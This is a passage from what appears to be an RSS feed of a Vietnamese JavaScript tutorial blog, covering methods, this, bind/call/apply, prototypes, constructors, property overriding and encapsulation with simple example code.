thừa cơ bản trong JavaScript.</p> <ul> <li><strong>Kế thừa cơ bản</strong>: kế thừa các phương thức và thuộc tính của lớp cha nhưng không kế thừa prototype.</li> <li><strong>Kế thừa prototype</strong>: kế thừa các phương thức và thuộc tính của lớp cha cùng với prototype.</li> <li><strong>Kế thừa với từ khóa <code>class</code> và <code>extends</code> trong ES6</strong>: tương tự như kế thừa prototype nhưng cách viết ngắn gọn, trực quan hơn.</li> </ul> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://github.com/nodejs/node-v0.x-archive/blob/master/lib/util.js#L634-L644">Triển khai hàm inherits trong nodejs</a></li> <li><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create() - JavaScript | MDN</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/extends">Class Extends trong JavaScript</a></li> </ul>[email protected]<![CDATA[Các khía cạnh lập trình hướng đối tượng trong JavaScript]]><![CDATA[Trong bài viết về lập trình hướng đối tượng với JavaScript, mình đã so sánh ngôn ngữ lập trình dựa trên đối tượng với ngôn ngữ lập trình hướng đối tượng. Và trong bài viết này,…]]>https://completejavascript.com/cac-khia-canh-lap-trinh-huong-doi-tuong-trong-javascript/https://completejavascript.com/cac-khia-canh-lap-trinh-huong-doi-tuong-trong-javascript/<![CDATA[Câu hỏi JS OOP]]>Thu, 13 Jan 2022 08:00:00 GMT<p>Trong bài viết về <a href="/lap-trinh-huong-doi-tuong-voi-javascript/">lập trình hướng đối tượng với JavaScript</a>, mình đã so sánh ngôn ngữ lập trình dựa trên đối tượng với ngôn ngữ lập trình hướng đối tượng.</p> <p>Và trong bài viết này, mình sẽ cùng tìm hiểu sâu hơn về các khía cạnh liên quan đến lập trình hướng đối tượng của ngôn ngữ lập trình JavaScript.</p> <h2 id="lịch-sử-object" style="position:relative;"><a href="#l%E1%BB%8Bch-s%E1%BB%AD-object" aria-label="lịch sử object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lịch sử object</h2> <p>Có một câu nói mang đầy tính triết học như sau:</p> <blockquote> <p>Một vấn đề phức tạp có thể được quản lý bằng cách chia nó thành những phần nhỏ độc lập với nhau.</p> </blockquote> <p>Mỗi thành phần nhỏ ở đây chính là <a href="/object-la-gi-object-trong-javascript/"><strong>object</strong></a>. Object cung cấp những phương thức để gọi mà không cần biết nội dung bên trong phương thức như thế nào.</p> <p>Sau khi xây dựng được những object hoạt động theo đúng yêu cầu, bạn có thể sử dụng chúng để giải quyết những bài toán lớn hơn một cách đơn giản.</p> <p>Đây cũng chính là tư tưởng <strong>chia để trị</strong>.</p> <h2 id="method-phương-thức" style="position:relative;"><a href="#method-ph%C6%B0%C6%A1ng-th%E1%BB%A9c" aria-label="method phương thức permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Method (phương thức)</h2> <p><strong>Method</strong> là một thành phần vô cùng quan trọng trong object. Đối với C++ hay Java, bạn chỉ có thể sử dụng được những <strong>method dạng public</strong>. Những method này dùng để <strong>lấy giá trị hay thay đổi thông tin</strong> các thuộc tính của object.</p> <p>Trong JavaScript, method chính là một thuộc tính mà giá trị là <a href="/ham-la-gi-ham-trong-javascript/">function</a>, ví dụ một phương thức đơn giản:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> rabbit <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> rabbit<span class="token punctuation">.</span><span class="token function-variable function">speak</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">line</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"The rabbit says '"</span> <span class="token operator">+</span> line <span class="token operator">+</span> <span class="token string">"'"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> rabbit<span class="token punctuation">.</span><span class="token function">speak</span><span class="token punctuation">(</span><span class="token string">"I'm alive."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// The rabbit says 'I'm alive.'</span></code></pre></div> <p>Thông thường, một method sẽ làm một vài thứ với object gọi nó. Để tham chiếu đến object đã gọi method, JavaScript cung cấp từ khoá <a href="/phuong-thuc-object-va-this-trong-javascript/"><code>this</code></a> để bạn sử dụng bên trong method.</p> <p>Ví dụ trên có thể thay đổi như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">speak</span><span class="token punctuation">(</span><span class="token parameter">line</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"The "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>type <span class="token operator">+</span> <span class="token string">" rabbit says '"</span> <span class="token operator">+</span> line <span class="token operator">+</span> <span class="token string">"'"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">const</span> whiteRabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"white"</span><span class="token punctuation">,</span> <span class="token literal-property property">speak</span><span class="token operator">:</span> speak <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> fatRabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"fat"</span><span class="token punctuation">,</span> <span class="token literal-property property">speak</span><span class="token operator">:</span> speak <span class="token punctuation">}</span><span class="token punctuation">;</span> whiteRabbit<span class="token punctuation">.</span><span class="token function">speak</span><span class="token punctuation">(</span><span class="token string">"I'm alive."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// The white rabbit says 'I'm alive.'</span> fatRabbit<span class="token punctuation">.</span><span class="token function">speak</span><span class="token punctuation">(</span><span class="token string">"I'm alive."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// The fat rabbit says 'I'm alive.'</span></code></pre></div> <p>Tư tưởng sử dụng từ khoá <code>this</code> như này cũng được áp dụng trong C++ hay Java.</p> <h3 id="sự-tương-quan-với-bind-call-apply" style="position:relative;"><a href="#s%E1%BB%B1-t%C6%B0%C6%A1ng-quan-v%E1%BB%9Bi-bind-call-apply" aria-label="sự tương quan với bind call apply permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sự tương quan với bind, call, apply</h3> <p>Nếu bạn chưa biết <strong>bind</strong>, <strong>call</strong> hay <strong>apply</strong> là gì thì bạn có thể tham khảo bài viết <a href="/phan-biet-call-apply-va-bind-trong-javascript/">phân biệt call, apply và bind trong JavaScript</a>.</p> <p>Khi gọi 3 hàm này, tham số đầu tiên chính là giá trị của con trỏ <code>this</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">speak</span><span class="token punctuation">(</span><span class="token parameter">line</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"The "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>type <span class="token operator">+</span> <span class="token string">" rabbit says '"</span> <span class="token operator">+</span> line <span class="token operator">+</span> <span class="token string">"'"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">const</span> whiteRabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"white"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> fatRabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"fat"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> sexyRabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"sexy"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">speak</span><span class="token punctuation">.</span><span class="token function">apply</span><span class="token punctuation">(</span>whiteRabbit<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"I'm alive."</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// The white rabbit says 'I'm alive.'</span> <span class="token function">speak</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>fatRabbit<span class="token punctuation">,</span> <span class="token string">"I'm alive."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// The fat rabbit says 'I'm alive.'</span> <span class="token keyword">const</span> sexyRabbitSpeak <span class="token operator">=</span> <span class="token function">speak</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span>sexyRabbit<span class="token punctuation">,</span> <span class="token string">"I'm alive."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">sexyRabbitSpeak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// The sexy rabbit says 'I'm alive.'</span></code></pre></div> <h2 id="prototypes" style="position:relative;"><a href="#prototypes" aria-label="prototypes permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Prototypes</h2> <p><a href="/prototype-la-gi-prototype-trong-javascript/">Prototype</a> là khái niệm rất riêng của JavaScript.</p> <p>Không giống như C++ hay Java, một object trong JavaScript luôn có ít nhất một thuộc tính là prototype. Và prototype cũng chính là một object.</p> <p>Khi bạn truy cập vào một thuộc tính không có trong object thì JavaScript sẽ tự động tìm kiếm trong prototype.</p> <p>Hãy xem ví dụ sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> empty <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>empty<span class="token punctuation">.</span>toString<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// function toString() { [native code] }</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>empty<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [object Object]</span></code></pre></div> <p>Trong ví dụ trên, mình chỉ khai báo <code>empty</code> là một object mà không định nghĩa thêm thuộc tính nào. Tuy nhiên, ví dụ trên chỉ ra rằng thuộc tính <code>toString</code> tồn tại trong object <code>empty</code>.</p> <p>Đó là vì <code>toString</code> là một thuộc tính của <strong>prototype</strong> mà một <strong>object</strong> thì luôn chứa thuộc tính <strong>prototype</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> empty <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Object<span class="token punctuation">.</span><span class="token function">getPrototypeOf</span><span class="token punctuation">(</span>empty<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Object<span class="token punctuation">.</span><span class="token function">getPrototypeOf</span><span class="token punctuation">(</span><span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// null</span></code></pre></div> <h2 id="constructors-hàm-khởi-tạo" style="position:relative;"><a href="#constructors-h%C3%A0m-kh%E1%BB%9Fi-t%E1%BA%A1o" aria-label="constructors hàm khởi tạo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Constructors (hàm khởi tạo)</h2> <p>Nếu bạn đã biết về lập trình hướng đối tượng thì chắc sẽ không còn lạ gì khái niệm <strong>constructor</strong>. Trong JavaScript, hàm khởi tạo constructor sẽ chứa từ khoá <code>this</code> để tham chiếu tới object được tạo ra từ hàm.</p> <p>Thông thường, constructor sẽ bắt đầu bằng <strong>chữ cái viết hoa</strong> - dùng để phân biệt hàm khởi tạo với các function khác.</p> <p>Đối với hàm khởi tạo, bạn phải sử dụng từ khoá <strong>new</strong> đứng trước tên function để tạo ra một đối tượng mới từ hàm constructor này.</p> <p>Sau đây là một ví dụ đơn giản về constructor:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Rabbit</span><span class="token punctuation">(</span><span class="token parameter">type</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>type <span class="token operator">=</span> type<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">greeting</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>type <span class="token operator">+</span> <span class="token string">" rabbit"</span> <span class="token operator">+</span> <span class="token string">" say Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">const</span> blackRabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token string">"black"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>blackRabbit<span class="token punctuation">.</span>type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// black</span> blackRabbit<span class="token punctuation">.</span><span class="token function">greeting</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// black rabbit say Hello!</span> <span class="token keyword">const</span> killerRabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token string">"killer"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>killerRabbit<span class="token punctuation">.</span>type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// killer</span> killerRabbit<span class="token punctuation">.</span><span class="token function">greeting</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// killer rabbit say Hello!</span></code></pre></div> <p>Trong ví dụ trên, mỗi đối tượng được tạo ra từ hàm khởi tạo <code>Rabbit</code> đều có hai thuộc tính <code>type</code> và <code>greeting</code>. Tuy nhiên, bạn có thể tạo thêm thuộc tính cho object thông qua <code>Object.prototype</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Rabbit</span><span class="token punctuation">(</span><span class="token parameter">type</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>type <span class="token operator">=</span> type<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">greeting</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>type <span class="token operator">+</span> <span class="token string">" rabbit"</span> <span class="token operator">+</span> <span class="token string">" say Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token class-name">Rabbit</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">sayBye</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>type <span class="token operator">+</span> <span class="token string">" rabbit"</span> <span class="token operator">+</span> <span class="token string">" say GoodBye!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> blackRabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token string">"black"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> blackRabbit<span class="token punctuation">.</span><span class="token function">sayBye</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// black rabbit say GoodBye!</span></code></pre></div> <h2 id="ghi-đè-thuộc-tính" style="position:relative;"><a href="#ghi-%C4%91%C3%A8-thu%E1%BB%99c-t%C3%ADnh" aria-label="ghi đè thuộc tính permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ghi đè thuộc tính</h2> <p>Trong ví dụ trên, <code>Rabbit</code> chứa thuộc tính <code>type</code>.</p> <p>Đối với mỗi object được tạo ra từ constructor <code>Rabbit</code>, bạn có thể thay đổi giá trị thuộc tính mà không làm ảnh hưởng tới các object khác.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Rabbit</span><span class="token punctuation">(</span><span class="token parameter">type</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>type <span class="token operator">=</span> type<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">greeting</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>type <span class="token operator">+</span> <span class="token string">" rabbit"</span> <span class="token operator">+</span> <span class="token string">" say Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token class-name">Rabbit</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>teeth <span class="token operator">=</span> <span class="token string">"small"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> blackRabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token string">"black"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> killerRabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token string">"killer"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>blackRabbit<span class="token punctuation">.</span>teeth<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// small</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>killerRabbit<span class="token punctuation">.</span>teeth<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// small</span> killerRabbit<span class="token punctuation">.</span>teeth <span class="token operator">=</span> <span class="token string">"long"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>blackRabbit<span class="token punctuation">.</span>teeth<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// small - không thay đổi</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>killerRabbit<span class="token punctuation">.</span>teeth<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// long</span></code></pre></div> <h2 id="tính-chất-đặc-trưng-của-lập-trình-hướng-đối-tượng" style="position:relative;"><a href="#t%C3%ADnh-ch%E1%BA%A5t-%C4%91%E1%BA%B7c-tr%C6%B0ng-c%E1%BB%A7a-l%E1%BA%ADp-tr%C3%ACnh-h%C6%B0%E1%BB%9Bng-%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng" aria-label="tính chất đặc trưng của lập trình hướng đối tượng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tính chất đặc trưng của lập trình hướng đối tượng</h2> <h3 id="tính-đóng-gói-encapsulation" style="position:relative;"><a href="#t%C3%ADnh-%C4%91%C3%B3ng-g%C3%B3i-encapsulation" aria-label="tính đóng gói encapsulation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tính đóng gói (Encapsulation)</h3> <p>Tính đóng gói: che giấu dữ liệu, không cho phép truy cập dữ liệu trực tiếp từ bên ngoài, mà phải thông qua các method được cung cấp.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Person</span><span class="token punctuation">(</span><span class="token parameter">_name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> name <span class="token operator">=</span> _name<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">setName</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">_name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> name <span class="token operator">=</span> _name<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">getName</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">const</span> person <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Person</span><span class="token punctuation">(</span><span class="token string">"Alex"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>person<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>person<span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span> person<span class="token punctuation">.</span><span class="token function">setName</span><span class="token punctuation">(</span><span class="token string">"LP Devs"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>person<span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// LP Devs</span></code></pre></div> <h3 id="tính-kế-thừa-inheritance" style="position:relative;"><a href="#t%C3%ADnh-k%E1%BA%BF-th%E1%BB%ABa-inheritance" aria-label="tính kế thừa inheritance permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 